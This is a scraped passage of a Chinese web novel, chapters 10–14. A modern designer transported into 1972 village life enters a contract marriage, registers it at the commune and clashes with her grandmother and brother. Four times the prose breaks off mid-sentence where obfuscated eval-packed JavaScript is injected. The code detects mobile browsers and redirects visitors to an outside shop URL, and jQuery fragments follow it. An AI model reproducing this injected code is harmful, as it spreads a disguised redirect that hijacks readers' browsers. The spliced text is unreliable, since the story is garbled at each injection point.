支书都跟着来了,谢汪洋拖着个伤腚下来迎,面上还不敢表现出来,背过身的时候赶紧龇牙咧嘴释放一下身后的疼,不然让人支书看看,你出这样,你对我有意见吗? 这趟主要任务就是下彩礼和定日子。 彩礼是傅青山用自行车推过来的,他还要上班,自行车自然是不能留下,只把收音机、手表和布料棉花等卸下来搬进屋。 傅青山抱着收音机进来的时候,谢晚棠站在家门口,傅青山的视线在谢晚棠身上停留了片刻,才跨步进去。 两家大人坐在炕上,傅青山和谢晚棠站着,在支书的见证下过了彩礼。 傅支书抽着烟袋:“按之前说好的,三转一响留给小两口过日子,100块钱给老谢。不过供销社缝纫机这会子没货,就先给票和钱,等结完婚再买了补上。” 谢老太一听给票和钱,眼刚亮起来,就见傅青山从裤兜里摸出来一摞大团结和票,放到谢晚棠手里。 老太太眼一黑,偏过头不想看了。 彩礼给过就是定结婚的日子,现在结婚一般都不大操大办,也不需要准备太多,主要也是家家户户都穷,准备也准备不出什么来,就脸结婚当天的席面,也就是菜里放点肉炒一炒罢了。 领证定在两天后八月初八,结婚定在一周后八月十三。 这真是比21世纪的闪婚还闪婚啊! 傅支书是老烟枪,谢晚棠闻不了烟味,两件主要的大事都商量完了,实在是熏得憋不住了,反正剩下商量具体流程和席面那些事也用不到她,就借口去院里透气了。 等着得跟玉秀说说让傅支书戒烟啊! 这抽得也太狠了,烟雾缭绕啊! 书里傅支书最后就是肺癌去世的,支书媳妇傅大娘也因为长期吸二手烟,在支书去世后没几年也查出来肺癌走了。 谢晚棠正背靠在门旁外屋檐下想事儿,傅青山也大步跨了出来。 傅青山站在她面前不过一米的地方,视线不偏不倚地落在她身上,上下打量,那狭长的凤眼看不出什么情绪。 谢晚棠勾唇低笑,果然人靠衣裳马靠鞍吧! 穿书过来以后,她一直穿的都是原身满身补丁而且洗得都褪色的旧衣裳,如今换上崭新的,而且是著名国风设计师谢晚棠的新衣裳,那自然是不一样咯~ 作为她曾经设计的作品,以前这衣服都是在模特身上穿的,如今自己穿上了,感觉真是完全不一样! 当然,现在能穿上这衣服,还要感谢她的大老板傅青山。 而且看傅青山的反应,应该也是很满意的。 虽然是合约婚姻,但是她打扮得好看,傅青山娶个漂亮媳妇回去脸上也有光啊! 结婚的事终于尘埃落定,谢晚棠心情轻松,莞尔一笑,在傅青山面前像小蝴蝶似的转了一圈:“好看吗?” 11. 第 11 章 那一刻,谢晚棠轻盈晃动的衣袖在傅青山眼中就像蝴蝶翅膀飘过。 傅青山怔了片刻,点头:“好看。” 设计师最开心的事就是设计的衣服被肯定,一想到冷面老板不可能违心夸奖,谢晚棠的心情更好,笑得就更开心了。 傅青山还是第一次见这样的谢晚棠,不是礼貌的微笑,是真正发自内心的笑容。 水润的杏眼笑起来的时候像温柔的月牙,就连两个小梨涡好像都在雀跃地展示着主人的快乐。 被那情绪感染,傅青山心脏莫名地跟着雀跃了一下。 支书他们谈完从屋里出来,谢晚棠瞬间收起刚才的笑容和情绪,傅青山也回过神来。 * 睡起午觉,过晌继续下地。 谢晚棠还是穿的上午那身新衣裳,原先那身千层饼一般的补丁衣裳被她当了抹布。 21世纪穿来的谢晚棠早就在物质资源丰富的时代生活习惯了,穿新衣裳上班真是最平常不过的事了,然而,这里是70年的农村! 往地里走的路上,谢晚棠一身崭新的衣裳回头率极高,路过的人看她的神色诧异,跟身边的人嘁嘁喳喳地议论。 “你们有没有感觉谢晚棠好像变好看了?以前怎么没发现呢!” “她以前穿得什么破衣裳啊,就是资本家小姐穿上她那身破补丁也扛不住啊。” “怎么同样是粗布,穿她身上看着就不一样呢?” “啧!谁穿新衣裳不好看啊。” “她怎么穿新衣裳下地干活啊?” “人家追到有钱男人了呗!要开始幸福生活了。” “那也不能穿着新衣裳下地啊,这也太不过日子了!” 谢晚棠闻声撇撇嘴,70年代的农村日常就是下地劳动、吃饭睡觉,下地劳动不能穿,难道专门留着吃饭睡觉穿? 谢晚棠才不在意这些人怎么议论她,她把这类人统统归为羡慕嫉妒恨的范畴。 要是有穿不完的新衣裳,她就不信这些人还会穿着这些带补丁的旧衣服出来。 “嫂子!” 谢晚棠闻声回头,玉秀“哇偶”一声,惊讶地上下打量她两圈。 “嫂子,这是咱那天一起去买的粗布?” 谢晚棠点头:“对啊。” 玉秀一脸的不可思议,那天她娘也让她买了一块土布回来,跟谢晚棠这个上衣的颜色一样,她娘要给她做衣裳她实在是不想要,这种土布都是大老婆老太婆穿的,她一心记挂着格子布的确良呢! 她娘气得骂她去了几次镇上心都野了! 没想到嫂子转头就用那些粗布,做了这么好看的新衣裳! 玉秀艳羡:“嫂子,你的新衣裳真好看!” 谢晚棠笑笑:“你不是也买了,还没做?” 玉秀叹气:“我娘给我做的衣裳又丑又土,可同样的布,嫂子你做出来的衣裳,风一吹感觉都要飘起来一样好看,真奇了怪了。” 玉秀转而一想,耷拉下脸:“嫂子,该不会是你长得好看,穿什么衣服都好看吧!” 谢晚棠笑着掐了掐玉秀肉呼呼的小脸蛋:“怎么会!好看的衣裳谁穿都好看哦,同样的布料,样式的裁剪、细节的设计不同,做出来的风格就完全不同。” 玉秀18岁,正是女孩子最美的年纪,身材姣好,虽然脸上有肉肉,但那是年轻才有的胶原蛋白,珍贵着呢! 玉秀听谢晚棠这么说,这才细细打量,谢晚棠身上的衣服看着肥肥的不像布拉吉那样紧身,却给人一种舒适又飘逸的感觉。 扣子的颜色也不一样! 确实是比她娘做的那些上下一样粗跟水桶一样的衣裳没法比! 玉秀挽着谢晚棠的胳膊边走边问:“嫂子,你衣裳找谁做的?” 谢晚棠:“我自己裁的,我娘帮我缝的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634868|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 玉秀更惊讶了:“你自己做的?!” 谢晚棠笑着点头。 玉秀像是找到了救命稻草:“嫂子!我以后衣裳也找你做行吗!你做的实在是太好看了!” 幸好上次买的布,她还没让她娘做! 谢晚棠当然不会拒绝,设计师的职业病,喜欢给人做衣服:“等缝纫机到了就安排!” 玉秀美滋滋:“谢谢嫂子!” 谢晚棠的设计被认可,也很开心,等买来缝纫机,她就可以大展身手了! 谁说农村妇女就不能穿得时尚美丽了! 两人说说笑笑到了地里,干活的时候,不知道为什么,谢晚棠总感觉背后有人盯着她似的,可是她回头看了几次,妇女们要么低头干活,要么边干边聊天,并没有人看她。 难道是蒋有年在哪个角落里盯着她想报复? 也不能啊,蒋有年还在医院治他的命根子呢。 就是不对劲,女人的第六感很多时候都是很准的。 谢晚棠毫无预兆地一个快速回头,刚好和不远处一个年轻的妇女对上视线,那个妇女原本皱眉盯着她,她看过来的时候,马上心虚般低头,不和她对视。 谢晚棠满头问号,回想书中剧情也对不上号。 玉秀看她一直往身后看:“怎么了嫂子?” 谢晚棠用下巴超那个妇女的方向努了努,回过头来:“好奇怪,她为什么总盯着我看?” 玉秀顺着谢晚棠指的方向看了一眼,撇撇嘴:“她啊,是青山哥以前的对象。” 谢晚棠:??? 看谢晚棠脸色变幻,玉秀知道嫂子肯定误会了! 玉秀伸手打自己的嘴,压低声音解释:“不是不是!嫂子!不是你想的那种对象!” 老板的感情经历她本不该议论的,但是!玉秀成功勾起了她的好奇心! 谢晚棠眨眼:“那是哪种对象?” 12. 第 12 章 青山哥还给她买小麻花呢! 青山哥一个人熬了这么多年,好不容易有个漂亮又手巧的嫂子,她可不能拖青山哥后腿! 玉秀为了打消谢晚棠的疑虑,非常有耐心地将全部经过娓娓道来:“他们其实没处过对象,我哥18就去当兵了,去当兵前他们话都没说过几句。后来我哥在部队升了连长,总往家寄钱,当时刘燕华也是村里的一枝花,两家就定了亲,就等我哥过年回来成亲。” “结果那年我哥那年不是大腿上中了一枪嘛,转业回来了,还带回来死去的战友的五个孩子,那时候刘燕华就让我哥把孩子送走,不然就不跟我哥结婚,我哥不同意。结果刘燕华转头就跟老杨家的大儿子杨长福结婚了,那时候村里那些长舌妇都议论我哥傻,非要给别人养孩子,把老婆都弄没了。” “后边的事嫂子你也都知道了,那个刘燕华也是个没福气的,嫁过去才半年,杨长福上山摔下来,偏瘫了,瘫了好几年,去年那不喝药死了嘛,刘燕华就成寡妇了,村里人都说她克夫,还没结婚就把俺哥克得不行了,结了婚又把男人克死了。” “我听俺娘说,她男人死了以后,她还去找过青山哥,想再跟青山哥好,青山哥没同意。现在看你要跟青山哥结婚了,估计嫉妒你呢!” 谢晚棠:“……” 这嫉妒真是无厘头。 刘燕华自己错过了傅青山,跟她有什么关系啊,而且这种退而求其次,看起来也没多少真情。 傍晚临近下工的时候,昨天送蒋有年去镇上的两个男人回来了,刚去大队部找支书汇报完了情况,一来地里就被围着打听事。 谢晚棠离得不远,一边干活一边听着男人们八卦。 “蒋有年那命根子肿得比猪的都大!用冰镇了一天一宿才勉强消了肿!” “啊?那玩意儿用冰镇?嘶——” 男人们听着就觉得瘆得慌。 “那冰镇好了?” “大夫也说不准,反正先打着针看看,命根子可不是腚,伤成那样,没准这辈子都完了!” 谢晚棠心里想:完了才好,太监才是蒋有年最完美的结局。 “那傅老二给人踹残废了,不得给担着?” “担什么,蒋有年调戏人家傅老二的老婆,支书说了,等蒋有年回来了,还要开大会批斗呢!” …… 男人们八卦的时候,地里的女人也不动声色地往这边凑。 谢晚棠低笑,蒋有年就算不成太监,下沟村怕是也没有姑娘愿意再搭理他了。 没办法,谁让流言可畏呢。 下了工,谢晚棠和玉秀结伴往回走,傅青宁和她的两个小土妞跟班从谢晚棠身边经过。 傅青宁上下打量谢晚棠一圈,拧眉斥道:“就知道浪!花我哥的钱!败家娘们儿!” 玉秀和傅青宁是堂姐妹,从小脾气就不对付,现在听傅青宁这么说谢晚棠,撸起袖子就要上。 谢晚棠笑着挡了下玉秀,看向傅青宁的时候笑得温温柔柔:“你也花着你哥的钱,怎么就没把自己打扮好看点?” 傅青宁长得黑,本就自卑敏感,一下就听出谢晚棠言语间的讽刺意味! 但谢晚棠就是比她好看!她又无话可说! 本来谢晚棠就比她好看,但可惜穿得又破又土,她在谢晚棠面前还能趾高气扬,现在谢晚棠穿得都好看了,她在谢晚棠面前就像个小丑一样! “你等着,等你嫁到我家看你还敢不敢对我这么说话!” 她娘可不是好惹的! 放下狠话,傅青宁气狠狠地走了,她身边的两个小跟班也赶紧跟上,边走还边回头看谢晚棠。 傅青宁走后,玉秀一脸担忧:“嫂子。” 谢晚棠才不在意,不就是恶婆婆吗? 她又不是真儿媳妇需要为了夫妻感情处理复杂的婆媳关系,他跟傅青山的合约里只有替他好好照顾孩子,可没有替他伺候恶母这一条。 谢晚棠:“没事,光脚的不怕穿鞋的。” 傅青山是傅老太的亲儿子,她却不是傅青山的亲媳妇。 没有牵绊才最好办呢! 当老板的员工肯定比当老板的老婆容易啊。 * 这年头领证要大队给开介绍信,这事交给傅青山去办,谢晚棠没管。 初八一早,吃过早饭,谢晚棠出门的时候,傅青山已经扶着自行车等在门口了。 谢晚棠一出门,傅青山的视线就落在她身上。 今天谢晚棠上身白下身晴蓝,比着之前穿那身藏青色的,更显青春,好像个还在上学的学生一般。 今天终于有了司机,不用自己蹬车子了,谢晚棠笑着走到后座:“谢谢。” 傅青山喉结动了动,没说话,待谢晚棠坐好后,稳稳地骑上车子出发。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634869|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是上次去镇上那条路,傅青山只出力不说话,谢晚棠便随着骑行的节奏,轻轻晃着小腿,欣赏着路边的田园风光。 傅青山有劲,大上坡也不费力,不过坡度太大,强烈的后仰感让人感觉好像要掉下去了似的,谢晚棠下意识伸手抓住傅青山腰间的衬衣。 隔着一层薄薄的布料,温凉的指腹不时擦过傅青山腰间滚烫的皮肤,他下意识绷紧腰间的肌肉。 到了坡顶,接着就是一段大下坡,惯性的作用下,一片柔软又撞上他的背,陌生又新奇的感觉似有若无地撩拨着他,他全身紧绷,手用力攥着车把。 等到了平地,腰间和脊背的柔软褪去,半晌,傅青山才慢慢放松下来。 傅青山骑得快,不到一个小时就到了镇上。 这个年代没有民政局,领证是到人民公社,也算是这个时代的特色了。 镇政府机关就这么些人,开会办事低头不见抬头见的。 一进公社大门,傅青山就碰到了熟人。 “呦,傅部长今天怎么有空来公社啊?”那人看到谢晚棠眼睛一亮,“这位同志是?” 傅青山瞥了那人一眼:“我对象,来领证。” 那人一听,惊讶一瞬,随即马上笑道:“原来是嫂子啊,恭喜恭喜!傅部长大喜啊!嫂子真漂亮!傅部长有福气!” 傅青山嗯了声,谢晚棠乖巧地站在傅青山身边,对那人礼貌道谢。 两人先去拍结婚照,墙上挂了块红布,红布前是一张双人长凳。 两人坐好以后,拍照师傅笑着招手:“两位同志靠近一点,对,再靠近一点啊,很好!头都往中间歪一点,对对对,微笑~” 按着师傅的指挥,两人大腿和胳膊都贴在一起,因为脸靠得太近,都能清晰地听见对方的呼吸声,谢晚棠甚至都能感觉到傅青山的体温,像一个大火炉一样,源源不断地向她释放热量。 “傅部长,看对象。” 傅青山听着师傅的话,下意识偏头朝谢晚棠看过去。 从侧面看过去,谢婉婷唇角弯弯,笑起来像个……仙女。 傅青山词穷,他也不知道怎么形容,他见过的最漂亮的女人就是电影里演的仙女,不过比起谢晚棠,还要逊色三分。 谢晚棠朝前看着镜头,傅青山偏过头来,温热的鼻息刚好喷在她耳根处靠近脖颈的地方。 好痒啊。 13. 第 13 章 “傅部长,跟对象学会了吧,笑起来要自然啊,来现在朝前看镜头,很好!好嘞!” 等师傅洗好照片,两人去了领证的地方,把照片和介绍信交给工作人员。 工作人员审核过介绍信,虽然认识傅青山,但还是按照流程开始例行询问谢晚棠:“谢同志,请问你是自愿和傅青山同志结婚的吗?” 谢晚棠没有犹豫,微笑点头:“是的。” 虽然是合约,但绝对是自愿! 工作人员又例行问傅青山:“傅同志,请问你是自愿和谢晚棠同志结婚的吗?” 傅青山闻声看向谢晚棠,谢晚棠本来在观察公社的陈设,半晌没听到傅青山应声,偏头看过去,就看到傅青山正看着自己出神。 谢晚棠轻咳一声,看傅青山回过神来,大眼睛眨巴了几下,朝傅青山使眼色。 大哥,你快回答啊,不然让人感觉好像是我这个弱女子胁迫你这个大部长结婚似的…… 傅青山:“嗯。” 工作人员:“嗯?” 傅青山:“我是自愿和谢晚棠同志结婚的。” 工作人员拿出两份结婚证,分别贴上照片,根据介绍信写上两人的姓名和年龄,然后咔咔卡上红戳,震得谢晚棠心里都跟着咔咔跳了两下。 工作人员动作一气呵成,把结婚证递给两人:“恭喜两位同志从今天开始正式结为夫妻!” 谢晚棠接过自己的结婚证,这个年代的结婚证就像一张小奖状那么大,左边印着毛主席语录,右边最上面是国徽和国旗,然后是三个醒目的大字——结婚证。 傅青山,年27岁。 谢晚棠,年20岁。 自愿结婚。 经审查合于中华人民共和国婚姻法结婚规定,发给此证。 1972年8月16日 苍南县大沟镇人民公社革命委员会。 两人一起走出公社大门,晴空万里,艳阳高照。 谢晚棠在阳光下又看了一眼自己的结婚证,还是有一种做梦般的不真实感。 她这就……结婚了? 领完证,傅青山骑车,又带她来了国营饭店。 不过这次没了玉秀,两人点完菜坐在那儿,半晌都没说话,气氛逐渐开始尴尬。 这都领证了,过几天又要结婚了,不管真假夫妻,以后都是要生活在一起的,天天干瞪眼,也是挺愁人啊。 谢晚棠试图开启聊天:“你好像不太爱说话?” 傅青山抬眸看她一眼:“嗯。” 谢晚棠:“……” 真是话题终结者。 谢晚棠再次尝试一个更加开放性的话题:“那几个孩子……” 傅青山:“嗯?” 谢晚棠:“听玉秀说是你战友的。” 傅青山:“我团长的。” 谢晚棠非常真诚地看着傅青山:“我感觉你很伟大。” 傅青山挑眉:“我伟大?” 谢晚棠点头,当然,一个还没成家的男人,坚持养着这5个孩子,甚至不惜失去自己的婚姻,在谢晚棠心里,这就是和平年代很伟大的事了。 傅青山盯着自己掌心的老茧:“团长是为了救我才死的,伟大的不是我,是团长。团长走了,嫂子也走了,把团长的孩子养大是我的责任。” 谢晚棠一时不知道该说什么,虽然傅青山平时看着也冷,可此时的傅青山,周身都散发着阴郁的气息,那种别人因他而死的压抑仿佛将他压得喘不过气来,这种情愫,别人真的很难很难能对他感同身受。 谢晚棠想起玉秀说,刘燕华让傅青山把5个孩子送走,否则就不跟他结婚。 傅青山不可能把孩子送走,因为这5个孩子的背后,是两条生命,两条因他而去的生命,是他萦绕着他难以释怀的阴霾。 不过,书中傅青山虽然为了五个孩子没有结婚,最后也身居高位,但五个孩子最后的结局却不怎么好。 因为傅青山一个人挣钱养五个孩子,没有太多时间顾家,五个孩子跟着傅老太长大,没有接受什么好的教育。 老大性格暴戾,一言不合就动手是常事,进去过好几次。 老二好逸恶劳,跟着傅老太学了一肚子小心眼,不想吃苦,就想贪便宜,一事无成,专业啃老。 大女儿早早嫁了人,默默忍受家暴十几年傅青山才得知,离婚后又因没有一技之长,只能到城里当保姆为生。 老三和小女儿从小就听话,但是该好好上学的年纪,天天被傅老太拖着天天干活,学习一般,上完初中就下来打工了,最后平庸一生。 哎,环境对一个孩子成长的影响是多么大啊! 谢晚棠:“你的团长为了救你可以牺牲自己的生命,他非常伟大。你以养大团长的孩子为自己的责任,你同样伟大。但是——” 傅青山抬眸,有些迷茫地看着她。 谢晚棠:“我想你的团长救你,不是为了让你活在愧疚当中。你想要报答团长的救命之恩,就该好好培养他的孩子,不止是把他们养大,而是把他们培养成对社会有价值的人。” 自从傅青山4年前将5个孩子领回来,家里没有一个人支持他,所有人都骂他傻。 谢晚棠是第一个理解他,肯定他,并为他点明方向的人,是他漫长黑夜里第一次出现的烛光。 看到傅青山真的在用心思考,谢晚棠放下心来,烈士的孩子,不应该因为一些外在原因而潦草一生,那样如何让他们死去的父母瞑目呢。 吃完午饭,两人刚出国营饭店门,傅青山正准备去推车子,旁边供销社的售货员探头出来:“傅部长!嫂子!上午刚好来缝纫机了!” 意外之喜啊! 家里的被套、衣服、鞋垫子正等着缝纫机呢!缝纫机这就来了! 本以为还得等上一个月两个月的呢! “我的缝纫机!”谢晚棠开心地一把抓住傅青山就往供销社跑。 傅青山粗硬的手腕被温凉柔软的小手包裹,那实在却又有些缥缈的触感,新奇又让他不知所措。 傅青山回过神的时候,已经跟着谢晚棠进了供销社。 谢晚棠已经松开他的手,开心地去抚摸她的缝纫机了,好像刚才什么都没发生过。 谢晚棠高兴之余,突然想起一件郁闷的事:“糟糕!我没带票和钱!” 但是她真的很想今天就把缝纫机带回家! 科技解放双手啊! 怎么办!好难过! 售货员笑道:“那怕什么,明天让傅部长上班的时候捎过来就行了!” 又是意外之喜! 供销社居然还可以赊账! 来领证居然还领到了缝纫机,怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634870|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得老人们办喜事都要查日子呢,今天真是她的大喜日子! 缝纫机太大,自行车肯定是带不回去,傅青山花了点钱找了个隔壁村赶驴车的老乡给拉回去。 两人走后,两个售货员继续嗑瓜子聊天:“今天一看,感觉傅部长和媳妇真是鸳鸯一般绝配啊!” “两人感情可真好呢,刚才手牵手进来的!” “真假?我刚才搬货没注意呢!” “真的!我看傅部长那耳朵都红了!” “呦呦呦,老干部和小娇妻真是羡慕人呦~” …… 到下沟村的时候正好是村民歇晌起来要去下地的时候,驴车拉着缝纫机回谢晚棠家这一路,可算是羡慕死了下沟村的妇女! 看看人家傅青山,缝纫机都说买就买回来了! 傅青山把缝纫机给谢晚棠抗进屋放好,谢晚棠从枕头里找出来票和钱给傅青山,让他明天捎去供销社销账,薛桂花给傅青山倒了碗凉开水喝了才走。 薛桂花小心地摸了摸崭新锃亮的缝纫机,感觉像在做梦,这可是下沟村第一台缝纫机啊! 是她闺女的! 她的闺女也值得最好的! 下聘礼那天傅青山带来了布料和棉被做结婚的喜被,昨天薛桂花忙了整整一天,才把里子缝好。 谢晚棠把缝纫机线穿好,把裁好的外面做红被罩的料子拿来,找了个椅子来坐下,给薛桂花现场展示了缝纫机的用法。 不过几分钟的工夫,一个双人被罩就跑好了。 薛桂花不可思议拿起跑好的被罩仔细抚摸,细密的针脚比她缝得还齐整,关键是快! 薛桂花喜上眉梢,啧啧赞叹,又摸了摸:“真是好东西啊!” 薛桂花准备用裁衣服裁下来的边角料做两双鞋垫子,谢晚棠把薛桂花裁好的鞋垫子拿过来,嘎达嘎达五六圈,一个鞋垫子就跑好了。 谢晚棠不会儿就跑好了一双鞋垫子,看薛桂花艳羡的眼神,谢晚棠起身:“娘,你来试试?” 薛桂花直摆手:“不行不行,这么贵的,再让俺用坏了!” 谢晚棠硬拉着薛桂花过来坐下:“我教您,不会用坏的。” 薛桂花虽然是个中年妇女,但是从小也是识字的,学东西很快,谢晚棠教了一遍,薛桂花就能上手了,跑第一只鞋垫子的时候还有些小心翼翼,第二只的时候就熟练了。 薛桂花别提多开心了,一想到这么好的东西是傅青山给买的,拉着谢晚棠的手嘱咐道:“小棠,姑爷对你这么好,你结了婚一定和姑爷好好过日子!” 谢晚棠点头:“好好好。” 薛桂花一想到闺女就要嫁人了,心里一万个不放心:“后妈不好当,对人家的孩子要更用心才是。” 谢晚棠像个点头小机器:“好好好。” 薛桂花话匣子一开就刹不住了,:“还有啊,你那个婆婆不是个好相与的,你为了姑爷,也得对公婆孝顺。” 谢晚棠刚要点头,突然回过神来:“母慈子才孝,她不慈我孝个屁,做她的春秋大梦去吧!” 薛桂花:“……” 傅青山回家把工业券和钱拿出来,放进明天要穿的裤兜里,抬手的时候,视线落在被谢晚棠抓过的右手手腕,傅青山鬼使神差地低头闻了闻,好像染上了她的味道。 淡淡的清甜。 14. 第 14 章 翌日。 谢晚棠是被东间的争执声吵醒的,她揉揉眼睛坐起来,仔细听了听,是她娘和谢老太太的声音。 ? 她娘在和老太太争执??? 谢晚棠被这个事实惊得瞬间彻底清醒。 一向在家里逆来顺受惯了的薛桂花,居然和一家之主谢老太太起了争执。 谢晚棠赶紧穿上衣裳,蹬上鞋下炕,刚一开西间的门,就听到薛桂花在东间非常坚决道:“爹走的时候就安排下了,三棵樟树,一棵给小棠结婚打箱子,另外两颗给建国结婚打家具使。” 谢老太太怕谢晚棠可不怕这个拿捏了半辈子的儿媳妇:“老头子走了这个家就是我说了算!嫁出去的闺女泼出去的水!这个家里的东西她不用想!” 要搁平时,谢老太太要是这么说,这是肯定就一锤定音了,薛桂花绝不敢多说一个不字。 今天薛桂花却一步不退:“不行,家里不给小棠准备嫁妆也就罢了,连个箱子也不打,到时候去了婆家,让人看不起!” 薛桂花一点不缺理,但谢老太太不讲理:“她那么有本事,自己亲爹都抓去批斗挨鞭子,她还怕别人看不起?” 薛桂花不想再多说:“娘,凡事都有个道理在,这是不能听您的,我去找王木匠来伐树打箱子。” 谢老太太一看这个一脚踹不出个屁来的老实儿媳妇都敢把她的话当耳旁风了,气得下炕拾起拐棍就打薛桂花。 谢晚棠听见拐棍打在肉的声音,一步冲进东间,把薛桂花护在身后,一把攥住谢老太太甩过来的拐棍,没有收力,用力往后一推。 虽然谢晚棠的身子板不怎么结实,但谢老太太到底70多了,被谢晚棠一把推倒在地,疼得哎呦哎呦的,索性直接坐在地上开始她的老把戏哭爹喊娘。 “老头子啊,你怎么就自己走了,留下这些不肖子孙拿我不当人啊!没法活了,让我死了去找你吧!” 谢老爹拖着个伤腚还趴在炕上,无论谢老太太怎么哭,他都不想管。 别再给他安上个什么大帽子,再打他一顿,那他直接也去地下见他爹了。 一直坐在炕上像死了一样不吭声的谢建国一个箭步冲下炕,把谢老太太扶起来,瞪着谢晚棠:“你敢推奶奶!你以为我不敢打你是不是!” 谢晚棠正在气头上,她上前一步,啪一巴掌打开谢建国的手,指着他脑门骂:“娘吃糠咽菜你看不见,娘被人打被人骂你眼瞎,老太太一哭闹你马上就跳出来给她撑腰,她为什么敢对娘又打又骂,就是你给她的胆,一天天的狗仗人势!” “我告诉你谢建国,不是我谢晚棠的东西,我一分一毫不会多要你的,该是我的东西,谁也别想拿走,不让我好过,就都特么别活了!” 谢建国胆小如鼠,在外边都是被人欺负的料。 虽然长了一身肥肉,但是气势上一下子就输给了一副不要命架势的谢晚棠。 谢建国被骂得往后倒退,不敢吱声,谢老太太一看又要开始嚎,谢晚棠瞥她一眼:“一天到晚地就知道嚎丧,有点运气都被你嚎没了!” 谢老太太一下子被镇住,竟然真的住了声。 谢晚棠骂完神清气爽,拉着薛桂花去西间。 谢晚棠关上门,给薛桂花拖了衣裳,死老太太那一拐棍打在薛桂花后背上,起了一道红印子,已经肿了起来。 谢晚棠去了赤脚大夫那儿,拿了药回来给薛桂花涂上。 帮薛桂花穿衣服的时候,谢晚棠感觉自己手心蹭着的时候也有点刺痛,摊开右手手心一看,通红一片,竟然肿起来了,表皮被撑得薄薄的一层。 薛桂花皱眉,赶紧把药给谢晚棠也涂上。 谢晚棠想了想,刚才一把打掉谢建国的巴掌用的就是这只手。 狭路相逢勇者胜,她气势上胜了,没想到手心居然还能受了伤,原身这皮肤也实在是太娇嫩了。 薛桂花涂完药还要去烧火做饭,被谢晚棠一把拉住,朝着东间大声道:“娘,今天不做饭,平时一天三顿伺候他们,都伺候到狗肚子里去了!” 谢建国不管妹妹的婚姻大事,看着她挨打,帮老太太出头,薛桂花也是有些心寒的。 谢晚棠把桃酥和小麻花拿出来,娘俩吃完,谢晚棠去下地,薛桂花去王木匠家叫人来伐树做箱子。 晌午下工的时候,蒋有年从镇上回来了。 搭了邻村老乡的驴车回来的,到了村口给他放下来,他一进村正赶上下工的点,路上经过的男男女女没有一个不打量他的。 蒋有年强撑着一口气保持着笑容,试图维持他以前光风霁月的模样。 但伤了那里,又疼又担心,这么些日子吃不好睡不好,形如枯木,早已没了以前的光彩。 进村这一小段路对蒋有年来说,比从镇上到村里的二十多里地还长。 一路上被人异样的眼光盯着指指点点,每个人的眼神好像都像一把刀一样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634871|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要划破他的裤子,看看他的命根子到底还行不行了! 路上遇到谢晚棠的时候,蒋有年的恼怒堆积到了顶峰,恶狠狠地瞪着谢晚棠,仿佛要把谢晚棠扒皮抽骨一般。 谢晚棠嗤笑一声,这就受不了了? 原身因为他,可是在花一样的年纪就堕入了无边的黑暗,一辈子都没能走出来。 蒋有年走到谢晚棠身边的时候,冷笑:“谢晚棠,看不出来,你可真狠啊!” 谢晚棠瞥他一眼:“看不出来?那是你眼瞎。蒋有年,你对我什么心思,我清楚,你自己心里更清楚,要比狠,咱俩半斤八两。” 蒋有年没想到谢晚棠三言两语将他那点男人的龌龊心思扒得干干净净,他确实从来没想对谢晚棠负责任,他不知道自己的未来在哪儿,但他决不会一辈子留在农村,更不会跟谢晚棠这样没有文化的农村女人结婚,不过是看谢晚棠长得好看,跟她玩玩罢了。 他以为谢晚棠这样没文化的农村女人拿捏起来易如反掌,却不想熬鹰却被鹰叨了眼。 蒋有年找面子找到傅青山头上,讥笑道:“我以为你看不上我会找个什么好男人,我听说傅青山那儿也受过伤,恐怕不行啊!” 谢晚棠像看牛粪一样扫了一眼蒋有年:“我男人受伤也是保家卫国受的伤,你这种调戏妇女的垃圾渣男,有什么资格跟他相提并论!” 蒋有年气得嘴哆嗦:“什么渣男?” 谢晚棠嗤笑:“就是最渣滓的男人,都不算男人。” 蒋有年脸涨成了猪肝色,谢晚棠看一眼都觉得脏。 蒋有年回来当晚,妇女主任刘秀香就主持召开了批斗会,对蒋有年进行了严厉的批判,打鞭子、住牛棚、拾牛粪一条龙服务。 